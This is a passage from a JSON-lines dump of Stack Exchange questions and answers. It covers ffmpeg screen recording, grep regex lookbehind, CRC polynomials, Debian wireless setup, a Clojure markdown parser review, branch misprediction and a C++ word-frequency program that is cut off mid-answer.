8x8dct=0 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=0 threads=12 lookahead_threads=2 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=0 weightp=0 keyint=250 keyint_min=25 scenecut=0 intra_refresh=0 rc=crf mbtree=0 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=0Output #0, matroska, to '/home/anders/Video/videocast12092013_23.33.00.mkv':  Metadata:    encoder         : Lavf55.12.100    Stream #0:0: Audio: vorbis (libvorbis) (oV[0][0] / 0x566F), 25000 Hz, mono, fltp    Stream #0:1: Video: h264 (libx264) (H264 / 0x34363248), yuv420p, 2560x1440, q=-1--1, 1k tbn, 30 tbcStream mapping:  Stream #0:0 (pcm_s16le) -> aresample (graph 0)  Stream #1:0 (pcm_s16le) -> amix:input1 (graph 0)  amix (graph 0) -> Stream #0:0 (libvorbis)  Stream #2:0 -> #0:1 (rawvideo -> libx264)Press [q] to stop, [?] for helpALSA lib pcm.c:7843:(snd_pcm_recover) overrun occurred22.73 bitrate=10384.5kbits/s    ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurredALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred3.22 bitrate=10423.3kbits/s    ALSA lib pcm.c:7843:(snd_pcm_recover) overrun occurred25.25 bitrate=11011.0kbits/s    ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurredALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred5.76 bitrate=11013.7kbits/s    ALSA lib pcm.c:7843:(snd_pcm_recover) overrun occurred27.25 bitrate=11175.4kbits/s    ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred7.76 bitrate=11168.7kbits/s    ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred8.24 bitrate=11176.4kbits/s    ALSA lib pcm.c:7843:(snd_pcm_recover) overrun occurred55.48 bitrate=11243.8kbits/s    ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurredALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurredframe=12871 fps= 30 q=-1.0 Lsize=  542369kB time=00:07:09.31 bitrate=10349.3kbits/s    video:539762kB audio:2363kB subtitle:0 global headers:3kB muxing overhead 0.044476%[libx264 @ 0x21ae560] frame I:52    Avg QP:15.46  size:725888[libx264 @ 0x21ae560] frame P:12819 Avg QP:18.26  size: 40172[libx264 @ 0x21ae560] mb I  I16..4: 100.0%  0.0%  0.0%[libx264 @ 0x21ae560] mb P  I16..4:  2.6%  0.0%  0.0%  P16..4: 18.1%  0.0%  0.0%  0.0%  0.0%    skip:79.3%[libx264 @ 0x21ae560] coded y,uvDC,uvAC intra: 57.8% 49.8% 25.3% inter: 8.9% 8.7% 2.2%[libx264 @ 0x21ae560] i16 v,h,dc,p: 23% 29% 32% 16%[libx264 @ 0x21ae560] i8c dc,h,v,p: 45% 28% 18%  9%[libx264 @ 0x21ae560] kb/s:10306.26Please help me, I am really close to get this working! UPDATE: The desktop audio is out of sync when skipping filter_complex and microphone also, bit in a smaller amount. Using copy instead of libvorbis does not change anything either."  , "title": "Desktop audio falls behind when recording microphone + desktop audio + screen using ffmpeg"  , "tags": "audio;pulseaudio;ffmpeg;screencasting"  , "accepted_answer": "Not sure if this will fix it for you, but I have a script that I haven't had problems with. Comparing our two scripts, the only differences I can see are:my filter_complex is just amergeI force the use of 4 threadsMy audio codec is mp3lameI'm thinking the audio codec change is the most relevant difference. I think that some audio codecs get interlaced with the video somehow so they can't get out of sync. Unfortunately I'm no video engineer so I can't be so sure.Here is my script:#!/usr/bin/bash# video informationINRES=1920x1080OUTRES=1280x720FPS=24QUAL=fastFILE_OUT=$1#audio informationPULSE_IN=alsa_input.pci-0000_00_1b.0.analog-stereoPULSE_OUT=alsa_output.pci-0000_00_1b.0.analog-stereo.monitorffmpeg -f x11grab -s $INRES -r $FPS -i :0.0 \\    -f pulse -i $PULSE_IN -f pulse -i $PULSE_OUT \\    -filter_complex amerge \\    -vcodec libx264 -crf 30 -preset $QUAL -s $OUTRES \\    -acodec libmp3lame -ab 96k -ar 44100 -threads 4 -pix_fmt yuv420p \\    -f flv $FILE_OUT"  } 
{  "id": "_unix.374199"  , "question": "Assume a text string my_string$ my_string=foo bar=1ab baz=222;I would like to extract the alphanumeric string between keyword baz and the semi-colon.How do I have to modify the following grep code using regex assertions to also exclude the trailing semi-colon?$ echo $my_string | grep -oP '(?<='baz=').*'222;"  , "title": "Extracting string via grep regex assertions"  , "tags": "grep;regular expression;string"  , "accepted_answer": "Unless the string that you want to extract may itself contain ;, the simplest thing is probably to replace . (which matches any single character) with [^;] (which matches any character excluding ;)$ printf '%s\\n' $my_string | grep -oP '(?<='baz=')[^;]*'222With grep linked to libpcre 7.2 or newer, you can also simplify the lookbehind using the \\K form:$ printf '%s\\n' $my_string | grep -oP 'baz=\\K[^;]*'222Those will print all occurrences in the string and assume the matching text doesn't contain newline characters (since grep processes each line of input separately)."  } 
{  "id": "_unix.103551"  , "question": "I'm trying to install BLT2.4z, with Tcl/tk8.4. When I run command make I see this:(cd src; make all) gcc -c -Wall -O6   -I. -I.  -I/Users/scarter/tk8.4.20/unix/include -I/Users/scarter/tcl8.4.20/unix/include bltAlloc.cerror: invalid value '6' in '-O6' make[1]: *** [bltAlloc.o] Error 1What's going on here?"  , "title": "BLT2.z installation"  , "tags": "make"  } 
{  "id": "_cs.66526"  , "question": "Given an undirected graph $G$ of $N$ nodes and a starting node $s$, I want to build, with dynamic programming, a table whose $(k, n)$-th entry is $1$ if node $n$ is reachable with exactly $k$ steps from node $s$.Specifically, for the first row of the table, I set $(1, n)$ to 1 if node $n$ is connected to node $s$. Then for the second row, I set $(2, n)$ to 1 if node $n$ is connected to any of the nodes who have value $1$ in the first row. I can stop the construction whenever I have a repeated row. In other words, I want to build the table to the point where more rows will be redundant, as there are already exact copies of them up in the table. So $k$ should be expressed in terms of $N$.I want to check if this table construction can be done in polynomial time.  I think it boils down to whether the number of rows is polynomially bounded. Is it so?My intuition is yes, because in the worst case, where the $N$ nodes are serially connected one next to another, and starting node $s$ is at one end, I can still reach the other end with $N-1$ steps. "  , "title": "Nodes reached with exactly $k$ steps in an undirected graph?"  , "tags": "graphs;graph theory"  } 
{  "id": "_cstheory.19459"  , "question": "What is an informational density and why numeral system with the base of e (2,71828...) has the maximum informational density? How do you calculate informational density of a given numeral system?"  , "title": "Numeral system information density"  , "tags": "it.information theory"  , "accepted_answer": "Let you want to represent integer values from 0 to 999. You need 3 digits, each has 10 states, 30 states overall. When using binary digits, you need 10 digits with 2 states, 20 states overall, So binary representation is more dense. In general case, p*ln(N)/ln(p) states is required. This formula has minimum at p=e. However, this is pure theoretical speculation. Numeral system with the base 3 is slightly more dense than that of 2, and 3-based computers were really built, but appeared more complex than binary computers."  } 
{  "id": "_cs.69084"  , "question": "I was reading about CRC coding from two books:Data Communication and Networking by Forouzan Page 294Computer Network by Tanenbaum Page 188They use following notations:$d(x)$: dataword to be sent (as a polynomial)$c(x)$: codeword sent (as a polynomial)$e(x)$: error (as a polynomial)$c(x)+e(x)$: codeword sent with error introduced (if any)$g(x)$: generator polynomial to be used at CRC encoder (for creating c(x)) and decoder (for checking if error is introduced or not during transmission)Forouzan then states following:A single-bit error is $e(x)=x^i$, where i is the position of the bit. If a single-bit error is caught, then $e(x)=x^i$ is not divisible by $g(x)$. (Note that when we say not divisible, we mean that there is a remainder.) If $g(x)$ has at least two terms and the coefficient of $x^0$ is not zero (the rightmost bit is 1), then $e(x)$ cannot be divided by $g(x)$ and all single bits errors can be caught.He then gives example of generator:$g(x)=x+1$ saying that it can catch all single bit error (with which I have some doubts)$g(x)=x^3$ saying that all single-bit errors in positions 1 to 3 are caught rest are left uncaught (with which I dont have any confusion).For example, consider the below example for generator $g(x)=x+1$:Tanenbaum says:If $g(x)$ contains two or more terms, $e(x)$ will never divide into $g(x)$, so all  single-bit errors will be detected.My doubts:Q1. Forouzan states additional requirement to Tanenbaum that the coefficient of $x^0$ is not zero (the rightmost bit is 1). Whats correct? and why? Will generator $g(x)=x^3+x^2$ (which satisfies Tanenbaum's statement) capture all single bit errors? Do we always need $+1$ in $g(x)$ for capturing any single bit error?Q2. I feel I dont understand the reason/logic behind statements made by both authors, thats why I am not able to decide on myself whether $+1$ should be there in $g(x)$ or not. Whats the logic then behind both of statements (whichever is correct)? More precisely: why $e(x)$ with single bit error will not be dividable by $g(x)$ if $g(x)$ has at least two terms and the coefficient of $x^0$ is not zero   as Forouzan says or if   $g(x)$ contains two or more terms  as Tanenbaum says (whichever is correct).I must be missing something very very basic stuff here."  , "title": "Polynomial generator required to detect single bit error in Cyclic Redundancy Check codes"  , "tags": "computer networks;polynomials;crc"  } 
{  "id": "_webapps.105746"  , "question": "I am presently working on an application that very specifically requires me to have page numbers in the top left hand corner. As I do not have Word on my present computer, and am most familiar with Docs, I would like to use it for this application. Unfortunately, the only options Docs seems to allow me off of the Insert tab are top and bottom right hand corners for page numbers. Is there a hack or app that grants a way around this? Or am I just missing something?"  , "title": "How to move page numbers in a Google Doc?"  , "tags": "google documents"  } 
{  "id": "_unix.52991"  , "question": "After a long struggle I finally seem to have installed the non-free wireless firmware for my wireless NIC. I'm trying to set up a file server, so I want to configure the network to be static. Would one of you guys mind helping me?For example I don't know what my /etc/network/interfaces file should look like, currently it looks like this:auto loiface lo inet loopbackallow-hotplug wlan1iface wlan1 inet static    address 192.168.10.111    netmask 255.255.255.0    network 192.168.10.0    broadcast 192.168.10.255    gateway 192.168.10.1    # wireless-* options are implemented by the wireless-tools package    wireless-mode managed    wireless-essid Optimus Pwn    wpa-psk s:roonwolf # I changed this from wiresless-key1 or something like that    dns-* options are implemented by the resolvconf package, if installed    dns-nameservers 192.168.10.1    dns-search localdomainMy ifconfig command looks like this:lo Link encap: Local Loopbackinet addr: 127.0.0.1 Mask: 255.0.0.0inet6 addr: ::1/128 Scope: HostUP LOOPBACK RUNNING MTU:16436 Metric:1RX packets: 95 errors: 0 dropped: 0 overruns: 0 frame: 0TX packets: 95 errors: 0 dropped: 0 overruns: 0 carrier: 0collisions: 0 txqueuelen: 0RX bytes: 10376 (10.1KiB) TX bytes: 10376 (10.1 KiB)wlan1 Link encap: Ethernet HWaddr 00:18:f3:85:99:07inet addr:192.168.10.111 Bcast:192.168.10.255 Mask:255.255.255.0UP BROADCAST MULTICAST MTU:1500 Metric:1RX packets:0 errors:0 dropped:0 overruns:0 frame:0TX packets:0 errors:0 dropped:0 overruns:0 carrier: 0collisions:0 txqueuelen:1000RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)Here's what I get when I iwlist my ssid:wlan1     Scan completed :      Cell 01 - Address: 00:14:D1:A4:0A:36                Channel:6                Frequency:2.437 GHz (Channel 6)                Quality=70/70  Signal level=-17 dBm                  Encryption key:on                ESSID:Optimus Pwn                Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s                          9 Mb/s; 12 Mb/s; 18 Mb/s                Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s                Mode:Master                Extra:tsf=00000003ff6381c1                Extra: Last beacon: 100ms ago                IE: Unknown: 000B4F7074696D75732050776E                IE: Unknown: 010882848B960C121824                IE: Unknown: 030106                IE: Unknown: 0706555320010B1B                IE: Unknown: 200100                IE: WPA Version 1                    Group Cipher : TKIP                    Pairwise Ciphers (1) : TKIP                    Authentication Suites (1) : PSK                IE: Unknown: 2A0100                IE: Unknown: 32043048606C                IE: Unknown: DD180050F2020101070003A4000027A4000042435E0062322F00                IE: Unknown: DD1E00904C334C101BFFFF000000000000000000000000000000000000000000                IE: Unknown: 2D1A4C101BFFFF000000000000000000000000000000000000000000                IE: Unknown: DD1A00904C3406001900000000000000000000000000000000000000                IE: Unknown: 3D1606001900000000000000000000000000000000000000                IE: Unknown: DD0900037F01010000FF7FWhen I ping 192.168.10.101(My primary desktop) I getPING 192.168.10.101 (192.168.10.101) 56(84) bytes of data.From 192.168.10.111 icmp_seq=2 Destination Host UnreachableWhen I ping google.com I get(after a lengthy pause):ping: unknown host google.comWhat exactly am I doing wrong here? Should I restart the network?"  , "title": "Configuring Wireless Network"  , "tags": "linux;debian;networking;configuration;wifi"  , "accepted_answer": "Have you tried Network Manager?  It's easy to set up static IPs for wireless networks using the GUI.  Once you get things working there, if you want the connection available all the time even when you're not logged in (e.g. for a file server), just select the Connect Automatically and Available to all users checkboxes.If you're allergic to GUIs, you can configure the connection by creating a file in the /etc/NetworkManager/system-connections/ directory, as described on this page."  } 
{  "id": "_softwareengineering.254714"  , "question": "Is the following method considered to be doing one thing only?I'm wondering about that since it takes an optional argument.public function findErrors($name = null){    if ($name) {        return isset($this->errors[$name]) ? $this->errors[$name] : [];    }    return $this->errors ?: [];}If not, would it be better / matter to have it separated like the following:public function findErrors(){    return $this->errors ?: [];}public function findErrorsOf($name){    return isset($this->errors[$name]) ? $this->errors[$name] : [];}"  , "title": "Does this function do one thing only?"  , "tags": "design patterns;php;functions;methods"  , "accepted_answer": "No, not really. It's clearly got two independent paths. It would be better to separate them into two (possibly overloaded) functions to better decouple them. Better yet, I would look to eliminate the name specific behavior unless it's really that common. What happens if you want to find errors since Thursday? What about errors that contain the word Banana? You shouldn't go back to edit this code every time you have a new search criteria - and you shouldn't have one way to find names and another way to find bananas."  } 
{  "id": "_codereview.37736"  , "question": "Some time ago I created a markdown parser in clojure and I would like to get some feedback, since I'm a clojure noob in the first place (is the code understandable?/is it idiomatic?/can some things be improved?). So I'm looking for feedback on best practices and design pattern usage (performance isn't my main concern).The most relevant parts are:blocks.clj(ns mdclj.blocks  (:use [clojure.string :only [blank? split]]        [mdclj.spans :only [parse-spans]]        [mdclj.misc]))(defn- collect-prefixed-lines [lines prefix]  (when-let [[prefixed remaining] (partition-while #(startswith % prefix) lines)]     [(map #(to-string (drop (count prefix) %)) prefixed) remaining]))(defn- line-seperated [lines]  (when-let [[par [r & rrest :as remaining]] (partition-while (complement blank?) lines)]    (list par rrest)))(declare parse-blocks)(defn- create-block-map [type content & extra]  (into {:type type :content content} extra))(defn- clean-heading-string [line]  (-> line (to-string)           (clojure.string/trim)            (clojure.string/replace  # #*$ ) ;; match space followed by any number of #s           (clojure.string/trim)))(defn match-heading [[head & remaining :as text]]  (let [headings (map vector (range 1 6) (iterate #(str \\# %) #)) ;; ([1 #] [2 ##] [3 ###] ...)         [size rest] (some (fn [[index pattern]]                             (let [rest (startswith head pattern)]                              (when (seq rest)                                 [index rest]))) headings)]    (when (not (nil? rest))      [(create-block-map ::heading (parse-spans (clean-heading-string rest)) {:size size}) remaining])))(defn- match-underline-heading [[caption underline & remaining :as text]]  (let [current (set underline)        marker [\\- \\=]        markers (mapcat #(list #{\\space %} #{%}) marker)]    (when (and (some #(= % current) markers)               (some #(startswith underline [%]) marker)               (< (count (partition-by identity underline)) 3))      [(create-block-map ::heading (parse-spans caption) remaining {:size 1}) remaining])))(defn- match-horizontal-rule [[rule & remaining :as text]]  (let [s (set rule)        marker [\\- \\*]        markers (mapcat #(list #{\\space %} #{%}) marker)]    (when (and (some #(= % s) markers)               (> (some #(get (frequencies rule) %) marker) 2))      [{:type ::hrule} remaining])))(defn- match-codeblock [text]  (when-let [[code remaining] (collect-prefixed-lines text     )]    [(create-block-map ::codeblock code) remaining]))(defn- match-blockquote [text]  (when-let [[quote remaining] (collect-prefixed-lines text > )]    [(create-block-map ::blockquote (parse-blocks quote)) remaining]))(defn- match-paragraph [text]  (when-let [[lines remaining] (line-seperated text)]   [(create-block-map ::paragraph (parse-spans (clojure.string/join \\n lines))) remaining]))(defn- match-empty [[head & remaining :as text]]  (when (and (blank? head) (seq remaining))    (parse-blocks remaining)))(def ^:private block-matcher    [match-heading    match-underline-heading   match-horizontal-rule   match-codeblock    match-blockquote   match-paragraph    match-empty])(defn- parse-blocks [lines]  (lazy-seq      (when-let [[result remaining] (some #(% lines) block-matcher)]        (cons result (parse-blocks remaining)))))(defn parse-text [text]  (parse-blocks (seq (clojure.string/split-lines text))))spans.clj(ns mdclj.spans  (:use [mdclj.misc]))(def ^:private formatter   [[`  ::inlinecode]   [** ::strong]   [__ ::strong]   [*  ::emphasis]   [_  ::emphasis]])(defn- apply-formatter [text [pattern spantype]]   Checks if text starts with the given pattern. If so, return the spantype, the text    enclosed in the pattern, and the remaining text  (when-let [[body remaining] (delimited text pattern)]      [spantype body remaining]))(defn- get-spantype [text]  (let [[spantype body remaining :as match] (some #(apply-formatter text %) formatter)]    (if (some-every-pred startswith [body remaining] [* _])        [spantype (-> body (vec) (conj (first remaining))) (rest remaining)]       match)))(defn- make-literal [acc]  Creates a literal span from the acc  {:type ::literal :content (to-string (reverse acc))})(declare parse-spans)(defn- span-emit [literal-text span]  Creates a vector containing a literal span created from literal-text and 'span' if literal-text, else 'span'  (if (seq literal-text)    [(make-literal literal-text) span]  ;; if non-empty literal before next span    [span]))(defn- concat-spans [acc span remaining]  (concat (span-emit acc span) (parse-spans [] remaining)))(defn- parse-span-body  ([body]    (parse-span-body nil body))  ([spantype body]    (if (in? [::inlinecode ::image] spantype)      (to-string body)      (parse-spans [] body)))) ;; all spans except inlinecode and image can be nested(defn- match-span [acc text] ;; matches ::inlinecode ::strong ::emphasis  (when-let [[spantype body remaining :as match] (get-spantype text)] ;; get the first matching span      (let [span {:type spantype :content (parse-span-body spantype body)}]        (concat-spans acc span remaining))))(defn- extract-link-title [text]  (reduce #(clojure.string/replace % %2 ) (to-string text) [#\\$ #'$ #^\\ #^']))  (defn- parse-link-text [linktext]  (let [[link title] (clojure.string/split (to-string linktext) #  2)]    (if (seq title)      {:url link :title (extract-link-title title)}      {:url link})))(defn- match-link-impl [acc text type]  (when-let [[linkbody remaining :as body] (bracketed text [ ])]    (when-let [[linktext remaining :as link] (bracketed remaining ( ))]      (concat-spans acc (into {:type type :content (parse-span-body type linkbody)} (parse-link-text linktext)) remaining))))(defn- match-link [acc text]  (match-link-impl acc text ::link))(defn- match-inline-image [acc [exmark & remaining :as text]]  (when (= exmark \\!)      (match-link-impl acc remaining ::image)))(defn- match-break [acc text]  (when-let [remaining (some #(startswith text %) [  \\n\\r   \\n   \\r])]                ;; match hard-breaks    (concat-spans acc {:type ::hard-break} remaining)))(defn- match-literal [acc [t & trest :as text]]  (cond    (seq trest)      (parse-spans (cons t acc) trest) ;; accumulate literal body (unparsed text left)    (seq text)      (list (make-literal (cons t acc))))) ;; emit literal (at end of text: no trest left)(def ^:private span-matcher    [match-span    match-link    match-inline-image   match-break    match-literal])(defn parse-spans  ([text]    (parse-spans [] text))  ([acc text]   (some #(% acc text) span-matcher)))misc.clj(ns mdclj.misc)(defn in?   true if seq contains elm  [seq elm]    (some #(= elm %) seq))(defn startswith [coll prefix]  Checks if coll starts with prefix.   If so, returns the rest of coll, otherwise nil  (let [[t & trest] coll        [p & prest] prefix]      (cond        (and (= p t) ((some-fn seq) trest prest)) (recur trest prest)        (= p t) '()        (nil? prefix) coll)))(defn partition-while  ([f coll]    (partition-while f [] coll))  ([f acc [head & tail :as coll]]    (cond      (f head)        (recur f (cons head acc) tail)      (seq acc)        (list (reverse acc) coll))))(defn- bracketed-body [closing acc text]  Searches for the sequence 'closing' in text and returns a   list containing the elements before and after it  (let [[t & trest] text        r (startswith text closing)]  (cond    (not (nil? r)) (list (reverse acc) r)    (seq text) (recur closing (cons t acc) trest))))(defn bracketed [coll opening closing]  Checks if coll starts with opening and ends with closing.   If so, returns a list of the elements between 'opening' and 'closing', and the   remaining elements  (when-let [remaining (startswith coll opening)]    (bracketed-body closing '() remaining)))(defn delimited [coll pattern]  Checks if coll starts with pattern and also contains pattern.   If so, returns a list of the elements between the pattern and the remaining elements  (bracketed coll pattern pattern))(defn to-string [coll]  Takes a coll of chars and returns a string  (apply str coll))(defn some-every-pred [f ands ors]  Builds a list of partial function predicates with function f and   all values in ands and returns if any argument in ors fullfills   all those predicates   (let [preds (map #(partial f %) ands)]    (some true? (map #((apply every-pred preds) %) ors))))Some highlights:(def ^:private block-matcher    [match-heading    match-underline-heading   match-horizontal-rule   match-codeblock    match-blockquote   match-paragraph    match-empty])(defn- parse-blocks [lines]  (lazy-seq      (when-let [[result remaining] (some #(% lines) block-matcher)]        (cons result (parse-blocks remaining)))))This piece always seemed somewhat strange to me. Is using a list of function and when-let idiomatic here? Are there alternatives?(defn- create-block-map [type content & extra]  (into {:type type :content content} extra))I'm using this function to create hashmaps in a certain format. Is this an idiomatic approach? P.S.: While looking at the code myself, I spot two minor things: I can use when-not instead of when(not (... and clojure.string/join coll instead of (apply str coll)"  , "title": "Idiomatic clojure code in a markdown parser"  , "tags": "parsing;clojure;markdown"  , "accepted_answer": "This is overall very impressive! Here are my thoughts:It looks like you've pretty much written your parser from scratch -- you have it set up so that it takes text as an input and dissects it line by line, looking for blocks and spans, and labeling and converting them appropriately. This is great, but a much easier way to go about this would be to use a parsing library like instaparse. Using this approach, you define a simple grammar as either a string or a separate text file, and then use instaparse to turn it into a custom parser, then you just use the parser as a function on the text, returning a parse tree that contains all of the information you need, in either hiccup or enlive format. There's a little bit of a learning curve if you've never defined a grammar before, but I found it pretty easy to learn, and instaparse is one of the most intuitive parsing libraries out of the handful that I tried. I would recommend this method -- it lets you worry more about defining your grammar and leave the implementation details to instaparse. At this point you've already done most (all?) of the work manually, so you might want to stick with the structure you have in place, but you should at least consider re-doing it with a parsing library -- it would at least make it easier to add new Markdown features.I think your block-matcher/parse-blocks section is elegant and idiomatic as far as I'm concerned. It's a nice demonstration of first-class functions in Clojure. The only thing is, I'm not sure that you need to wrap it in a lazy-seq, since don't you need to realize the entire sequence? I haven't looked super thoroughly at your code, but I'm assuming you would use this function to parse all the lines of text from the input, so this sequence might not necessarily need to be lazy. It all depends on how you're using that function, though.I think your create-block-map function is nice and idiomatic, too. It's such a simple function that you could potentially do without it, and just have all of your match-* functions return something like this:[{:type    ::heading  :content (parse-spans (clean-heading-string rest))  :size    size} remaining]But you have so many different match-* functions, it would get tedious having that show up under every single one of them, so I think you did the right thing by pulling it out into a separate function, thereby enabling you to express the above as just, e.g., (create-block-map ::heading (parse-spans (clean-heading-string rest)) {:size size}. My only suggestion would be to consider renaming it to just block-map for the sake of simplicity -- that's just a minor aesthetic preference, though.Lastly, I saw this bit in your match-heading function:(when (not (nil? rest))  [(create-block-map ...You could simplify this to just:(when rest  [(create-block-map ...Since you're only using rest in a boolean context (it's either nil or it's a non-nil value) within a when expression, you can just use the value of rest itself. If it's not nil or false, the rest of the expression will be returned, otherwise nil will be returned. The only reason you might not want to do it this way is if you still want the rest of the when expression to be returned if the value of rest is false -- i.e., literally anything but nil. If that's not a concern, though, (when rest ... is more concise and idiomatic.Hope that helps. You're off to a great start!"  } 
{  "id": "_webmaster.10841"  , "question": "Whether clickjacking is an ethically responsible way of earning advertisement revenues is a subjective discussion and should not be discussed here.However, it appears that quite a lot of popular sites generate popups when you click either of their links or buttons. An example is the Party Poker advertisement (I am sure many of you will have seen this one).I wonder though, what kind of advertisement companies allow such techniques? Surely Google Adsense does not? But which do, and are they reliable partners?Update: an example of an organization using clickjacking to earn advertisement revenues is The Pirate Bay. When clicking on a torrent link, advertisements of Party Poker will popup."  , "title": "Advertisement programs that allow clickjacking (earning advertisement revenues by popups generated by clicks on the website)?"  , "tags": "google adsense;advertising"  } 
{  "id": "_unix.47444"  , "question": "The problem is that I fail to SSH to a remote machine via its hostname, while using its IP works.The hostname returned by command hostname is: california_desertwhile the name returned by command nslookup $IP_address is: pcpp3238782. They did not match each other.I think that's why I cannot connect to remote machine using its hostname.I have checked /etc/hosts, /etc/hostname, /etc/sysconfig/network: all set the hostname to california_desert.Checked with /etc/resolve.conf, the name server is set to the right one.Also tried strace but no new clue.Anybody can please help? "  , "title": "Fail to ssh to remote machine via hostname"  , "tags": "linux;ssh;hostname"  , "accepted_answer": "The problem here is that the hostname and hosts files are only used for the computer they're on. In order for other computers to be able to use the hostname, it needs to be in the DNS zone for the domain.Think of it like this - you get a phone, and it has a phone number 555-5555. You now know that to call California_desert, you need to dial 555-5555. But nobody else knows this. In order for others to know how to reach you, you need to register your phone number in the directory. DNS is that directory service.Of course, you can also tell a friend that your number is 555-5555 and then they can call you directly without looking it up in the directory. For a unix system, this would be like adding the hostname and ip for California_desert to the hosts file on every server that wants to connect to it. "  } 
{  "id": "_cs.69129"  , "question": "Let's say we have a pipeline with 20 stages. If the testing for the jump condition is done at stage 14 and we have a wrong prediction, then the instructions processed in those 14 stages, that shouldn't have been processed due to the wrong prediction made the processor lose 14 cycles. We know that the jump instruction entered the pipeline 14 stages back, therefore from this behaviour I deduced that 14 cycles were lost. Am I correct? If no, why?"  , "title": "Branch wrong prediction pipeline"  , "tags": "cpu;cpu pipelines"  , "accepted_answer": "It's not correct. The instruction that would determine the result of the condition is read at cycle x. The conditional branch is read at cycle x + k. k can be any value, depending on the code. For example I can have a comparison compare x and 0, then half a dozen unrelated instructions, then an instruction branch if the comparison result is 'greater'. You are saying the correct condition is determined at cycle x + 14. You lose 14 - k cycles.You may find out 14 cycles later that the branch was predicted wrongly, or 8 cycles later, or in the next cycle. What is lost is the cycles between branch prediction and the point where the correct way became known, which is variable. In this situation, compilers will often try to issue the comparison as early as possible before the branch instruction, to minimise the penalty for an incorrect branch. To clarify: If a compare instruction is read at cycle x, and the result of the comparison is available at cycle x+14, and a conditional branch instruction is read at cycle x + k, then it doesn't matter at which stage in the pipeline the incorrect branch is detected. What matters is the time from the start of the conditional branch, to the time of detection of the incorrect branch, and that time is variable. If the compare instruction is issued early enough then the branch isn't even predicted because the result of the compare instruction is known. "  } 
{  "id": "_codereview.66446"  , "question": "I've made a program that outputs you the most common word in txt file. Does anybody know how to optimize it so that it would work for bigger files and run faster?#include <iostream>#include <string>#include <fstream>#include <cstdlib>#include <vector>#include <algorithm>#include <math.h>using namespace std;int main(){    ifstream in(file.txt);    if(!in){        cerr << Could not open file.txt.;        return EXIT_FAILURE;    }    string str, str2, strn, tab[10000], tab2[10000];    int i, k, j, n, l, tabl;    char c = 179;    vector<int> tabs;    vector<string> stringi;    while(getline(in, str2)){        str += str2;        str += ' ';    }    k = 0;    for(i = 0; i < str.length(); i++){        if(str[i] != ' ' && str[i] != '.' && str[i] != '\\t' && str[i] != ','           && str[i] != ';' && str[i] != ':' && str[i] != '}' && str[i] != '{'){            tab[k] += tolower(str[i]);        }else{            k++;        }        if(str[i] == '.' || str[i] == '\\t' || str[i] == ',' || str[i] == ';'        || str[i] == ':' || str[i] == '}' || str[i] == '{') {            k--;        }    }    tabl = k;    k = 0;    for(i = 0; i < tabl; i++){        for(j = 0; j < tabl; j++){            if(tab[i] == tab[j]){                k++;            }        }        tabs.push_back(k);        k = 0;    }    for(i = 0; i < tabl; i++){        for(j = 0; j < tabl-1; j++){            if(tab[j] < tab[j+1]){                n = tabs.at(j);                tabs.at(j) = tabs.at(j+1);                tabs.at(j+1) = n;                strn = tab[j];                tab[j] = tab[j+1];                tab[j+1] = strn;            }        }    }    for(i = 0; i < tabl; i++){        for(j = 0; j < tabl-1; j++){            if(tabs.at(j) < tabs.at(j+1)){                n = tabs.at(j);                tabs.at(j) = tabs.at(j+1);                tabs.at(j+1) = n;                strn = tab[j];                tab[j] = tab[j+1];                tab[j+1] = strn;            }        }    }    tab2[0] = tab[0];    for(i = 0; i < tabl; i++){        if(tab[i] != tab[i+1]){            tab2[i] = tab[i+1];        }    }    k = 1;    l++;    for(i = 0; i < tabl; i++){        if(!tab2[i].empty()){            l++;        }    }    cout << ------------------------------------ << endl;    cout << |--->TABLE OF MOST COMMON WORDS<---| << endl;    cout << ------------------------------------ << endl;    for(i = 0; i < tabl; i++){        if(!tab2[i].empty() && k <= 20 ){            cout << c << k++ << . << '\\t' << c << tab2[i] << '\\t' << c << * <<            tabs.at(i+1)            << '\\t'  << c << roundf(((float)tabs.at(i+1)*100/l)*100)/100 << % <<            endl;        }    }    cout << ------------------------------------ << endl ;    cout << |----->Dif. strings:  << '\\t' << l << <-------| << endl ;    cout << ------------------------------------ << endl;    return 0;}Output image:"  , "title": "Most common words in a text file"  , "tags": "c++;strings;file"  , "accepted_answer": "OverallYou seem to have stuffed everything into a single function. This makes it harder than necessary to follow. A couple of functions to break things up into manageable units would probably be a good idea (its part of self documenting code).Your naming convention is also a bit shoddy.    string str, str2, strn, tab[10000], tab2[10000];    int i, k, j, n, l, tabl;    char c = 179;    vector<int> tabs;    vector<string> stringi;None of these names coneys any meaning of what they are being used for. Just like functions variables should be given meaningful names so that reading the code becomes self explanatory.    std::string   inputLine;    std::getline(std::cin, inputLine);There is no real reason to use built-in C-arrays. std::vector and std::array are always going to be a better alternative (unless you are yourself building a container).Basic Code ReviewPrefer to use C++ header files:#include <math.h>// Prefer#include <cmath>It is guaranteed to know about namespaces and put the functions into it. It also includes some templated maths functions that are not available from C (that you may or may not get when using math.h)How many time must we say this!Did you not read any of the other previous review?Don't do thisusing namespace std;See: Why is using namespace std; considered bad practice?Why are you reading the whole file into memory?    while(getline(in, str2)){        str += str2;        str += ' ';    }All this is doing is reading the whole file into memory (inefficiently) replacing newlines with space. Your main problem with this is going to be the continuous reallocation of the str buffer as it grows. If you know the size you can do this much better with a read().   std::size_t  size = getFileSize(in);   std::string  buffer(size);   in.read(&buffer[0], size);I would not even do this. It is relatively efficient to read a word at a time and processes that. The standard stream reads a space separated words quite easily with the operator>>.Here you are manually parsing the input buffer and removing punctuation (or a limited set of it).    for(i = 0; i < str.length(); i++){        if(str[i] != ' ' && str[i] != '.' && str[i] != '\\t' && str[i] != ','           && str[i] != ';' && str[i] != ':' && str[i] != '}' && str[i] != '{'){            tab[k] += tolower(str[i]);        }else{            